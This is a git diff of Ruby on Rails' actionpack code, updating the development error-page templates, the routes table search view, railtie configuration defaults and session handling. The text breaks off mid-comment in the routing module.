+        background: #666;
+      }
+
+      .line.active {
+        background-color: #900;
+      }
+
+      .error_highlight {
+        color: #333;
+      }
+
+      input[type="submit"] {
+        box-shadow: 0 3px #800;
+      }
+      input[type="submit"]:active {
+        box-shadow: 0 2px #800;
+      }
+
+      a { color: #C00; }
+      a.trace-frames { color: #999; }
+      a:hover, a.trace-frames.selected { color: #E9382B; }
+    }
 
     <%= yield :style %>
   </style>
 
   <script>
     var toggle = function(id) {
-      var s = document.getElementById(id).style;
-      s.display = s.display == 'none' ? 'block' : 'none';
+      document.getElementById(id).classList.toggle('hidden');
       return false;
     }
     var show = function(id) {
@@ -141,20 +308,27 @@
     var hide = function(id) {
       document.getElementById(id).style.display = 'none';
     }
-    var toggleTrace = function() {
-      return toggle('blame_trace');
-    }
     var toggleSessionDump = function() {
       return toggle('session_dump');
     }
     var toggleEnvDump = function() {
       return toggle('env_dump');
     }
+    var copyAsText = function() {
+      const text = document.getElementById("exception-message-for-copy").textContent;
+
+      navigator.clipboard.writeText(text).then(() => {
+        const beforeText = this.innerText;
+        this.innerText = "Copied!"
+        setTimeout(() => this.innerText = beforeText, 1000)
+      })
+    }
   </script>
 </head>
 <body>
 
-<%= yield %>
+  <%= yield %>
+  <script type="text/plain" id="exception-message-for-copy"><%= raw @exception_message_for_copy %></script>
 
 </body>
 </html>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_exact_template.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_exact_template.html.erb
new file mode 100644
index 0000000000000..ffafefcd29d91
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_exact_template.html.erb
@@ -0,0 +1,24 @@
+<header role="banner">
+  <%= render "rescues/copy_button" %>
+  <h1>No view template for interactive request</h1>
+</header>
+
+<main id="container">
+  <h2><%= h @exception.message %></h2>
+
+  <div class="summary">
+    <p>
+      <strong>NOTE:</strong> Rails usually expects a controller action to render a view template with the same name.
+    </p>
+    <p>
+      For example, a <code><%= @exception.controller %>#<%= @exception.action_name %></code> action defined in <code>app/controllers/<%= @exception.controller.controller_path %>_controller.rb</code> should have a corresponding view template
+      in a file named <code>app/views/<%= @exception.controller.controller_path %>/<%= @exception.action_name %>.html.erb</code>.
+    </p>
+    <p>
+      However, if this controller is an API endpoint responding with 204 (No Content), which does not require a view template because it doesn't serve an HTML response, then this error will occur when trying to access it with a browser. In this particular scenario, you can ignore this error.
+    </p>
+    <p>
+      You can find more about view template rendering conventions in the <a href="https://guides.rubyonrails.org/layouts_and_rendering.html#rendering-by-default-convention-over-configuration-in-action">Rails Guides on Layouts and Rendering in Rails</a>.
+    </p>
+  </div>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_exact_template.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_exact_template.text.erb
new file mode 100644
index 0000000000000..fcdbe6069d9ea
--- /dev/null
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_exact_template.text.erb
@@ -0,0 +1,3 @@
+Missing exact template
+
+<%= @exception.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
index 2a65fd06ad89d..e227c5dca7406 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/missing_template.html.erb
@@ -1,11 +1,12 @@
-<header>
+<header role="banner">
+  <%= render "rescues/copy_button" %>
   <h1>Template is missing</h1>
 </header>
 
-<div id="container">
-  <h2><%= h @exception.message %></h2>
+<main role="main" id="container">
+  <h2><%= h @exception_wrapper.message %></h2>
 
-  <%= render template: "rescues/_source" %>
-  <%= render template: "rescues/_trace" %>
+  <%= render "rescues/source", source_extracts: @source_extracts, show_source_idx: @show_source_idx %>
+  <%= render "rescues/trace", traces: @traces, trace_to_show: @trace_to_show %>
   <%= render template: "rescues/_request_and_response" %>
-</div>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
index 55dd5ddc7b68a..85ff514f158db 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/routing_error.html.erb
@@ -1,20 +1,21 @@
-<header>
+<header role="banner">
+  <%= render "rescues/copy_button" %>
   <h1>Routing Error</h1>
 </header>
-<div id="container">
-  <h2><%= h @exception.message %></h2>
-  <% unless @exception.failures.empty? %>
+<main role="main" id="container">
+  <h2><%= h @exception_wrapper.message %></h2>
+  <% unless @exception_wrapper.failures.empty? %>
     <p>
       <h2>Failure reasons:</h2>
       <ol>
-      <% @exception.failures.each do |route, reason| %>
+      <% @exception_wrapper.failures.each do |route, reason| %>
         <li><code><%= route.inspect.delete('\\') %></code> failed because <%= reason.downcase %></li>
       <% end %>
       </ol>
     </p>
   <% end %>
 
-  <%= render template: "rescues/_trace" %>
+  <%= render "rescues/trace", traces: @traces, trace_to_show: @trace_to_show %>
 
   <% if @routes_inspector %>
     <h2>
@@ -29,4 +30,4 @@
   <% end %>
 
   <%= render template: "rescues/_request_and_response" %>
-</div>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
index 5060da9369123..d203a5d111302 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/template_error.html.erb
@@ -1,20 +1,21 @@
-<header>
+<header role="banner">
+  <%= render "rescues/copy_button" %>
   <h1>
-    <%= @exception.cause.class.to_s %> in
+    <%= @exception_wrapper.exception_name %> in
     <%= @request.parameters["controller"].camelize if @request.parameters["controller"] %>#<%= @request.parameters["action"] %>
   </h1>
 </header>
 
-<div id="container">
+<main role="main" id="container">
   <p>
-    Showing <i><%= @exception.file_name %></i> where line <b>#<%= @exception.line_number %></b> raised:
+    Showing <i><%= @exception_wrapper.file_name %></i> where line <b>#<%= @exception_wrapper.line_number %></b> raised:
   </p>
-  <pre><code><%= h @exception.message %></code></pre>
+  <pre><code><%= h @exception_wrapper.message %></code></pre>
 
-  <%= render template: "rescues/_source" %>
+  <%= render "rescues/source", source_extracts: @source_extracts, show_source_idx: @show_source_idx %>
 
-  <p><%= @exception.sub_template_message %></p>
+  <p><%= @exception_wrapper.sub_template_message %></p>
 
-  <%= render template: "rescues/_trace" %>
+  <%= render "rescues/trace", traces: @traces, trace_to_show: @trace_to_show %>
   <%= render template: "rescues/_request_and_response" %>
-</div>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
index 259fb2bb3b472..30b9f7edd7388 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.html.erb
@@ -1,6 +1,7 @@
-<header>
+<header role="banner">
+  <%= render "rescues/copy_button" %>
   <h1>Unknown action</h1>
 </header>
-<div id="container">
-  <h2><%= h @exception.message %></h2>
-</div>
+<main role="main" id="container">
+  <%= render "rescues/message_and_suggestions", exception: @exception, exception_wrapper: @exception_wrapper %>
+</main>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
index 83973addcbadc..e7f0991f9734c 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/rescues/unknown_action.text.erb
@@ -1,3 +1,3 @@
 Unknown action
 
-<%= @exception.message %>
+<%= @exception_wrapper.message %>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
index 6e995c85c16f5..576b047772d96 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_route.html.erb
@@ -11,6 +11,17 @@
     <%= route[:path] %>
   </td>
   <td>
-    <%=simple_format route[:reqs] %>
+    <%
+      editor = ActiveSupport::Editor.current
+      action_file = route[:action_source_file]
+      action_line = route[:action_source_line]
+    %>
+    <% if editor && action_file && action_line %>
+      <%= link_to("��", editor.url_for(action_file, action_line), class: "edit-icon") %>
+    <% end %>
+    <%= route[:reqs] %>
+  </td>
+  <td>
+    <%=simple_format route[:source_location] %>
   </td>
 </tr>
diff --git a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
index 429ea7057c3cd..a6b813c017c12 100644
--- a/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
+++ b/actionpack/lib/action_dispatch/middleware/templates/routes/_table.html.erb
@@ -1,22 +1,47 @@
 <% content_for :style do %>
+  h2, p {
+    padding-left: 30px;
+  }
+
   #route_table {
     margin: 0;
     border-collapse: collapse;
+    word-wrap:break-word;
+    table-layout: fixed;
+    width:100%;
   }
 
   #route_table thead tr {
     border-bottom: 2px solid #ddd;
   }
 
+  #route_table th {
+    padding-left: 30px;
+    text-align: left;
+  }
+
   #route_table thead tr.bottom {
     border-bottom: none;
   }
 
   #route_table thead tr.bottom th {
-    padding: 10px 0;
+    padding: 10px 30px;
     line-height: 15px;
   }
 
+  #route_table #search_container {
+    padding: 7px 30px;
+  }
+
+  #route_table thead tr th input#search {
+    -webkit-appearance: textfield;
+    width:100%;
+  }
+
+  #route_table thead th.http-verb {
+    width: 10%;
+  }
+
   #route_table tbody tr {
     border-bottom: 1px solid #ddd;
   }
@@ -41,34 +66,38 @@
     padding: 4px 30px;
   }
 
-  #path_search {
-    width: 80%;
-    font-size: inherit;
+  #route_table .edit-icon {
+    text-decoration: none;
+  }
+
+  @media (prefers-color-scheme: dark) {
+    #route_table tbody tr:nth-child(odd) {
+      background: #282828;
+    }
+
+    #route_table tbody.exact_matches tr,
+    #route_table tbody.fuzzy_matches tr {
+      background: DarkSlateGrey;
+    }
   }
 <% end %>
 
-<table id='route_table' class='route_table'>
+<table id='route_table'>
   <thead>
     <tr>
-      <th>Helper</th>
-      <th>HTTP Verb</th>
-      <th>Path</th>
-      <th>Controller#Action</th>
-    </tr>
-    <tr class='bottom'>
-      <th><%# Helper %>
-        <%= link_to "Path", "#", 'data-route-helper' => '_path',
+      <th>Helper
+        (<%= link_to "Path", "#", 'data-route-helper' => '_path',
                     title: "Returns a relative path (without the http or domain)" %> /
         <%= link_to "Url", "#", 'data-route-helper' => '_url',
-                    title: "Returns an absolute url (with the http and domain)"   %>
-      </th>
-      <th><%# HTTP Verb %>
-      </th>
-      <th><%# Path %>
-        <%= search_field(:path, nil, id: 'search', placeholder: "Path Match") %>
-      </th>
-      <th><%# Controller#action %>
+                    title: "Returns an absolute URL (with the http and domain)"   %>)
       </th>
+      <th class="http-verb">HTTP Verb</th>
+      <th>Path</th>
+      <th>Controller#Action</th>
+      <th>Source Location</th>
+    </tr>
+    <tr>
+      <th colspan="5" id="search_container"><%= search_field(:query, nil, id: 'search', placeholder: "Search") %></th>
     </tr>
   </thead>
   <tbody class='exact_matches' id='exact_matches'>
@@ -80,23 +109,24 @@
   </tbody>
 </table>
 
-<script type='text/javascript'>
-  // support forEarch iterator on NodeList
+<script>
+  // support forEach iterator on NodeList
   NodeList.prototype.forEach = Array.prototype.forEach;
 
-  // Enables path search functionality
-  function setupMatchPaths() {
+  // Enables query search functionality
+  function setupMatchingRoutes() {
     // Check if there are any matched results in a section
-    function checkNoMatch(section, noMatchText) {
+    function checkNoMatch(section, trElement) {
       if (section.children.length <= 1) {
-        section.innerHTML += noMatchText;
+        section.appendChild(trElement);
       }
     }
 
-    // get JSON from url and invoke callback with result
+    // get JSON from URL and invoke callback with result
     function getJSON(url, success) {
       var xhr = new XMLHttpRequest();
       xhr.open('GET', url);
+      xhr.setRequestHeader('accept', 'application/json');
       xhr.onload = function() {
         if (this.status == 200)
           success(JSON.parse(this.response));
@@ -113,8 +143,8 @@
     }
 
     // remove params or fragments
-    function sanitizePath(path) {
-      return path.replace(/[#?].*/, '');
+    function sanitizeQuery(query) {
+      return query.replace(/[#?].*/, '');
     }
 
     var pathElements = document.querySelectorAll('#route_table [data-route-path]'),
@@ -127,29 +157,45 @@
       if (searchElem.value === "") {
         exactSection.innerHTML = "";
         fuzzySection.innerHTML = "";
+        updateQueryState("");
       }
     }
 
+    function buildTr(string) {
+      var tr = document.createElement('tr');
+      var th = document.createElement('th');
+      th.setAttribute('colspan', 5);
+      tr.appendChild(th);
+      th.innerText = string;
+      return tr;
+    }
+
+    function updateQueryState(query) {
+      var currentUrl = new URL(location);
+      currentUrl.searchParams.set('query', query)
+      history.pushState({}, '', currentUrl.toString());
+    }
+
     // On key press perform a search for matching paths
     delayedKeyup(searchElem, function() {
-      var path = sanitizePath(searchElem.value),
-          defaultExactMatch = '<tr><th colspan="4">Paths Matching (' + path +'):</th></tr>',
-          defaultFuzzyMatch = '<tr><th colspan="4">Paths Containing (' + path +'):</th></tr>',
-          noExactMatch      = '<tr><th colspan="4">No Exact Matches Found</th></tr>',
-          noFuzzyMatch      = '<tr><th colspan="4">No Fuzzy Matches Found</th></tr>';
+      var query = sanitizeQuery(searchElem.value),
+          defaultExactMatch = buildTr("Routes matching '" + query + "':"),
+          defaultFuzzyMatch = buildTr("Routes containing '" + query + "':"),
+          noExactMatch      = buildTr('No exact matches found'),
+          noFuzzyMatch      = buildTr('No fuzzy matches found');
 
-      if (!path)
+      if (!query)
         return searchElem.onblur();
 
-      getJSON('/rails/info/routes?path=' + path, function(matches){
+      updateQueryState(query);
+      getJSON('/rails/info/routes?query=' + query, function(matches){
         // Clear out results section
-        exactSection.innerHTML = defaultExactMatch;
-        fuzzySection.innerHTML = defaultFuzzyMatch;
+        exactSection.replaceChildren(defaultExactMatch);
+        fuzzySection.replaceChildren(defaultFuzzyMatch);
 
         // Display exact matches and fuzzy matches
         pathElements.forEach(function(elem) {
           var elemPath = elem.getAttribute('data-route-path');
-
           if (matches['exact'].indexOf(elemPath) != -1)
             exactSection.appendChild(elem.parentNode.cloneNode(true));
 
@@ -191,6 +237,21 @@
     });
   }
 
-  setupMatchPaths();
+  // Pre-fills the search input with existing query
+  function setupPrefilledQuery() {
+    let urlParams = new URLSearchParams(location.search);
+    let query = urlParams.get('query');
+
+    if (query) {
+      search.value = query;
+      search.dispatchEvent(new KeyboardEvent('keyup'));
+    }
+  }
+
+  setupMatchingRoutes();
   setupRouteToggleHelperLinks();
+  setupPrefilledQuery();
+
+  // Focus the search input after page has loaded
+  search.focus();
 </script>
diff --git a/actionpack/lib/action_dispatch/railtie.rb b/actionpack/lib/action_dispatch/railtie.rb
index 16a18a7f2539f..8c4863f78a46f 100644
--- a/actionpack/lib/action_dispatch/railtie.rb
+++ b/actionpack/lib/action_dispatch/railtie.rb
@@ -1,11 +1,19 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_dispatch"
+require "action_dispatch/log_subscriber"
+require "action_dispatch/structured_event_subscriber"
+require "active_support/messages/rotation_configuration"
+require "rails/railtie"
 
 module ActionDispatch
   class Railtie < Rails::Railtie # :nodoc:
     config.action_dispatch = ActiveSupport::OrderedOptions.new
     config.action_dispatch.x_sendfile_header = nil
     config.action_dispatch.ip_spoofing_check = true
-    config.action_dispatch.show_exceptions = true
+    config.action_dispatch.show_exceptions = :all
     config.action_dispatch.tld_length = 1
     config.action_dispatch.ignore_accept_header = false
     config.action_dispatch.rescue_templates = {}
@@ -16,22 +24,62 @@ class Railtie < Rails::Railtie # :nodoc:
     config.action_dispatch.signed_cookie_salt = "signed cookie"
     config.action_dispatch.encrypted_cookie_salt = "encrypted cookie"
     config.action_dispatch.encrypted_signed_cookie_salt = "signed encrypted cookie"
+    config.action_dispatch.authenticated_encrypted_cookie_salt = "authenticated encrypted cookie"
+    config.action_dispatch.use_authenticated_cookie_encryption = false
+    config.action_dispatch.use_cookies_with_metadata = false
     config.action_dispatch.perform_deep_munge = true
+    config.action_dispatch.request_id_header = ActionDispatch::Constants::X_REQUEST_ID
+    config.action_dispatch.log_rescued_responses = true
+    config.action_dispatch.debug_exception_log_level = :fatal
+    config.action_dispatch.strict_freshness = false
+
+    config.action_dispatch.ignore_leading_brackets = nil
+    config.action_dispatch.strict_query_string_separator = nil
+    config.action_dispatch.verbose_redirect_logs = false
 
     config.action_dispatch.default_headers = {
       "X-Frame-Options" => "SAMEORIGIN",
       "X-XSS-Protection" => "1; mode=block",
-      "X-Content-Type-Options" => "nosniff"
+      "X-Content-Type-Options" => "nosniff",
+      "X-Download-Options" => "noopen",
+      "X-Permitted-Cross-Domain-Policies" => "none",
+      "Referrer-Policy" => "strict-origin-when-cross-origin"
     }
 
+    config.action_dispatch.cookies_rotations = ActiveSupport::Messages::RotationConfiguration.new
+
     config.eager_load_namespaces << ActionDispatch
 
+    initializer "action_dispatch.deprecator", before: :load_environment_config do |app|
+      app.deprecators[:action_dispatch] = ActionDispatch.deprecator
+    end
+
     initializer "action_dispatch.configure" do |app|
+      ActionDispatch::Http::URL.secure_protocol = app.config.force_ssl
       ActionDispatch::Http::URL.tld_length = app.config.action_dispatch.tld_length
-      ActionDispatch::Request.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
-      ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
-      ActionDispatch::Response.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
-      ActionDispatch::Response.default_headers = app.config.action_dispatch.default_headers
+
+      unless app.config.action_dispatch.domain_extractor.nil?
+        ActionDispatch::Http::URL.domain_extractor = app.config.action_dispatch.domain_extractor
+      end
+
+      unless app.config.action_dispatch.ignore_leading_brackets.nil?
+        ActionDispatch::ParamBuilder.ignore_leading_brackets = app.config.action_dispatch.ignore_leading_brackets
+      end
+      unless app.config.action_dispatch.strict_query_string_separator.nil?
+        ActionDispatch::QueryParser.strict_query_string_separator = app.config.action_dispatch.strict_query_string_separator
+      end
+
+      ActionDispatch.verbose_redirect_logs = app.config.action_dispatch.verbose_redirect_logs
+
+      ActiveSupport.on_load(:action_dispatch_request) do
+        self.ignore_accept_header = app.config.action_dispatch.ignore_accept_header
+        ActionDispatch::Request::Utils.perform_deep_munge = app.config.action_dispatch.perform_deep_munge
+      end
+
+      ActiveSupport.on_load(:action_dispatch_response) do
+        self.default_charset = app.config.action_dispatch.default_charset || app.config.encoding
+        self.default_headers = app.config.action_dispatch.default_headers
+      end
 
       ActionDispatch::ExceptionWrapper.rescue_responses.merge!(config.action_dispatch.rescue_responses)
       ActionDispatch::ExceptionWrapper.rescue_templates.merge!(config.action_dispatch.rescue_templates)
@@ -39,6 +87,9 @@ class Railtie < Rails::Railtie # :nodoc:
       config.action_dispatch.always_write_cookie = Rails.env.development? if config.action_dispatch.always_write_cookie.nil?
       ActionDispatch::Cookies::CookieJar.always_write_cookie = config.action_dispatch.always_write_cookie
 
+      ActionDispatch::Routing::Mapper.route_source_locations = Rails.env.development?
+
+      ActionDispatch::Http::Cache::Request.strict_freshness = app.config.action_dispatch.strict_freshness
       ActionDispatch.test_app = app
     end
   end
diff --git a/actionpack/lib/action_dispatch/request/session.rb b/actionpack/lib/action_dispatch/request/session.rb
index a2a80f39fc378..06e61500289c7 100644
--- a/actionpack/lib/action_dispatch/request/session.rb
+++ b/actionpack/lib/action_dispatch/request/session.rb
@@ -1,16 +1,21 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "rack/session/abstract/id"
 
 module ActionDispatch
   class Request
     # Session is responsible for lazily loading the session from store.
     class Session # :nodoc:
+      DisabledSessionError    = Class.new(StandardError)
       ENV_SESSION_KEY         = Rack::RACK_SESSION # :nodoc:
       ENV_SESSION_OPTIONS_KEY = Rack::RACK_SESSION_OPTIONS # :nodoc:
 
-      # Singleton object used to determine if an optional param wasn't specified
+      # Singleton object used to determine if an optional param wasn't specified.
       Unspecified = Object.new
 
-      # Creates a session hash, merging the properties of the previous session if any
+      # Creates a session hash, merging the properties of the previous session if any.
       def self.create(store, req, default_options)
         session_was = find req
         session     = Request::Session.new(store, req)
@@ -21,6 +26,12 @@ def self.create(store, req, default_options)
         session
       end
 
+      def self.disabled(req)
+        new(nil, req, enabled: false).tap do
+          Session::Options.set(req, Session::Options.new(nil, { id: nil }))
+        end
+      end
+
       def self.find(req)
         req.get_header ENV_SESSION_KEY
       end
@@ -29,7 +40,11 @@ def self.set(req, session)
         req.set_header ENV_SESSION_KEY, session
       end
 
-      class Options #:nodoc:
+      def self.delete(req)
+        req.delete_header ENV_SESSION_KEY
+      end
+
+      class Options # :nodoc:
         def self.set(req, options)
           req.set_header ENV_SESSION_OPTIONS_KEY, options
         end
@@ -58,37 +73,61 @@ def to_hash;          @delegate.dup; end
         def values_at(*args); @delegate.values_at(*args); end
       end
 
-      def initialize(by, req)
+      def initialize(by, req, enabled: true)
         @by       = by
         @req      = req
         @delegate = {}
         @loaded   = false
-        @exists   = nil # we haven't checked yet
+        @exists   = nil # We haven't checked yet.
+        @enabled  = enabled
+        @id_was = nil
+        @id_was_initialized = false
       end
 
       def id
         options.id(@req)
       end
 
+      def enabled?
+        @enabled
+      end
+
       def options
         Options.find @req
       end
 
       def destroy
         clear
-        options = self.options || {}
-        @by.send(:delete_session, @req, options.id(@req), options)
 
-        # Load the new sid to be written with the response
-        @loaded = false
-        load_for_write!
+        if enabled?
+          options = self.options || {}
+          @by.send(:delete_session, @req, options.id(@req), options)
+
+          # Load the new sid to be written with the response.
+          @loaded = false
+          load_for_write!
+        end
       end
 
-      # Returns value of the key stored in the session or
-      # +nil+ if the given key is not found in the session.
+      # Returns value of the key stored in the session or `nil` if the given key is
+      # not found in the session.
       def [](key)
         load_for_read!
-        @delegate[key.to_s]
+        key = key.to_s
+
+        if key == "session_id"
+          id&.public_id
+        else
+          @delegate[key]
+        end
+      end
+
+      # Returns the nested value specified by the sequence of keys, returning `nil` if
+      # any intermediate step is `nil`.
+      def dig(*keys)
+        load_for_read!
+        keys = keys.map.with_index { |key, i| i.zero? ? key.to_s : key }
+        @delegate.dig(*keys)
       end
 
       # Returns true if the session has the given key or false.
@@ -101,11 +140,13 @@ def has_key?(key)
 
       # Returns keys of the session as Array.
       def keys
+        load_for_read!
         @delegate.keys
       end
 
       # Returns values of the session as Array.
       def values
+        load_for_read!
         @delegate.values
       end
 
@@ -114,10 +155,11 @@ def []=(key, value)
         load_for_write!
         @delegate[key.to_s] = value
       end
+      alias store []=
 
       # Clears the session.
       def clear
-        load_for_write!
+        load_for_delete!
         @delegate.clear
       end
 
@@ -126,42 +168,48 @@ def to_hash
         load_for_read!
         @delegate.dup.delete_if { |_, v| v.nil? }
       end
+      alias :to_h :to_hash
 
       # Updates the session with given Hash.
       #
-      #   session.to_hash
-      #   # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2"}
+      #     session.to_hash
+      #     # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2"}
       #
-      #   session.update({ "foo" => "bar" })
-      #   # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"}
+      #     session.update({ "foo" => "bar" })
+      #     # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"}
       #
-      #   session.to_hash
-      #   # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"}
+      #     session.to_hash
+      #     # => {"session_id"=>"e29b9ea315edf98aad94cc78c34cc9b2", "foo" => "bar"}
       def update(hash)
+        unless hash.respond_to?(:to_hash)
+          raise TypeError, "no implicit conversion of #{hash.class.name} into Hash"
+        end
+
         load_for_write!
-        @delegate.update stringify_keys(hash)
+        @delegate.update hash.to_hash.stringify_keys
       end
+      alias :merge! :update
 
       # Deletes given key from the session.
       def delete(key)
-        load_for_write!
+        load_for_delete!
         @delegate.delete key.to_s
       end
 
-      # Returns value of the given key from the session, or raises +KeyError+
-      # if can't find the given key and no default value is set.
-      # Returns default value if specified.
+      # Returns value of the given key from the session, or raises `KeyError` if can't
+      # find the given key and no default value is set. Returns default value if
+      # specified.
       #
-      #   session.fetch(:foo)
-      #   # => KeyError: key not found: "foo"
+      #     session.fetch(:foo)
+      #     # => KeyError: key not found: "foo"
       #
-      #   session.fetch(:foo, :bar)
-      #   # => :bar
+      #     session.fetch(:foo, :bar)
+      #     # => :bar
       #
-      #   session.fetch(:foo) do
-      #     :bar
-      #   end
-      #   # => :bar
+      #     session.fetch(:foo) do
+      #       :bar
+      #     end
+      #     # => :bar
       def fetch(key, default = Unspecified, &block)
         load_for_read!
         if default == Unspecified
@@ -180,6 +228,7 @@ def inspect
       end
 
       def exists?
+        return false unless enabled?
         return @exists unless @exists.nil?
         @exists = @by.send(:session_exists?, @req)
       end
@@ -193,36 +242,42 @@ def empty?
         @delegate.empty?
       end
 
-      def merge!(other)
-        load_for_write!
-        @delegate.merge!(other)
-      end
-
       def each(&block)
         to_hash.each(&block)
       end
 
-      private
+      def id_was
+        load_for_read!
+        @id_was
+      end
 
+      private
         def load_for_read!
           load! if !loaded? && exists?
         end
 
         def load_for_write!
-          load! unless loaded?
+          if enabled?
+            load! unless loaded?
+          else
+            raise DisabledSessionError, "Your application has sessions disabled. To write to the session you must first configure a session store"
+          end
         end
 
-        def load!
-          id, session = @by.load_session @req
-          options[:id] = id
-          @delegate.replace(stringify_keys(session))
-          @loaded = true
+        def load_for_delete!
+          load! if enabled? && !loaded?
         end
 
-        def stringify_keys(other)
-          other.each_with_object({}) { |(key, value), hash|
-            hash[key.to_s] = value
-          }
+        def load!
+          if enabled?
+            @id_was_initialized = true unless exists?
+            id, session = @by.load_session @req
+            options[:id] = id
+            @delegate.replace(session.stringify_keys)
+            @id_was = id unless @id_was_initialized
+          end
+          @id_was_initialized = true
+          @loaded = true
         end
     end
   end
diff --git a/actionpack/lib/action_dispatch/request/utils.rb b/actionpack/lib/action_dispatch/request/utils.rb
index 01bc871e5f7f8..c8ac5e23bb414 100644
--- a/actionpack/lib/action_dispatch/request/utils.rb
+++ b/actionpack/lib/action_dispatch/request/utils.rb
@@ -1,8 +1,13 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
+require "active_support/core_ext/hash/indifferent_access"
+
 module ActionDispatch
   class Request
     class Utils # :nodoc:
-      mattr_accessor :perform_deep_munge
-      self.perform_deep_munge = true
+      mattr_accessor :perform_deep_munge, default: true
 
       def self.each_param_value(params, &block)
         case params
@@ -33,14 +38,17 @@ def self.check_param_encoding(params)
           unless params.valid_encoding?
             # Raise Rack::Utils::InvalidParameterError for consistency with Rack.
             # ActionDispatch::Request#GET will re-raise as a BadRequest error.
-            raise Rack::Utils::InvalidParameterError, "Non UTF-8 value: #{params}"
+            raise Rack::Utils::InvalidParameterError, "Invalid encoding for parameter: #{params.scrub}"
           end
         end
       end
 
+      def self.set_binary_encoding(request, params, controller, action)
+        CustomParamEncoder.encode(request, params, controller, action)
+      end
+
       class ParamEncoder # :nodoc:
         # Convert nested Hash to HashWithIndifferentAccess.
-        #
         def self.normalize_encode_params(params)
           case params
           when Array
@@ -49,9 +57,11 @@ def self.normalize_encode_params(params)
             if params.has_key?(:tempfile)
               ActionDispatch::Http::UploadedFile.new(params)
             else
-              params.each_with_object({}) do |(key, val), new_hash|
-                new_hash[key] = normalize_encode_params(val)
-              end.with_indifferent_access
+              hwia = ActiveSupport::HashWithIndifferentAccess.new
+              params.each_pair do |key, val|
+                hwia[key] = normalize_encode_params(val)
+              end
+              hwia
             end
           else
             params
@@ -63,7 +73,7 @@ def self.handle_array(params)
         end
       end
 
-      # Remove nils from the params hash
+      # Remove nils from the params hash.
       class NoNilParamEncoder < ParamEncoder # :nodoc:
         def self.handle_array(params)
           list = super
@@ -71,6 +81,35 @@ def self.handle_array(params)
           list
         end
       end
+
+      class CustomParamEncoder # :nodoc:
+        def self.encode_for_template(params, encoding_template)
+          return params unless encoding_template
+          params.except(:controller, :action).each do |key, value|
+            ActionDispatch::Request::Utils.each_param_value(value) do |param|
+              # If `param` is frozen, it comes from the router defaults
+              next if param.frozen?
+
+              if encoding_template[key.to_s]
+                param.force_encoding(encoding_template[key.to_s])
+              end
+            end
+          end
+          params
+        end
+
+        def self.encode(request, params, controller, action)
+          encoding_template = action_encoding_template(request, controller, action)
+          encode_for_template(params, encoding_template)
+        end
+
+        def self.action_encoding_template(request, controller, action) # :nodoc:
+          controller && controller.valid_encoding? &&
+            request.controller_class_for(controller).action_encoding_template(action)
+        rescue MissingController
+          nil
+        end
+      end
     end
   end
 end
diff --git a/actionpack/lib/action_dispatch/routing.rb b/actionpack/lib/action_dispatch/routing.rb
index c554ce98bc738..e1990a2d58a78 100644
--- a/actionpack/lib/action_dispatch/routing.rb
+++ b/actionpack/lib/action_dispatch/routing.rb
@@ -1,267 +1,262 @@
-require "active_support/core_ext/string/filters"
+# frozen_string_literal: true
+
+# :markup: markdown
 
 module ActionDispatch
   # The routing module provides URL rewriting in native Ruby. It's a way to
   # redirect incoming requests to controllers and actions. This replaces
-  # mod_rewrite rules. Best of all, Rails' \Routing works with any web server.
-  # Routes are defined in <tt>config/routes.rb</tt>.
+  # mod_rewrite rules. Best of all, Rails' Routing works with any web server.
+  # Routes are defined in `config/routes.rb`.
   #
   # Think of creating routes as drawing a map for your requests. The map tells
   # them where to go based on some predefined pattern:
   #
-  #   Rails.application.routes.draw do
-  #     Pattern 1 tells some request to go to one place
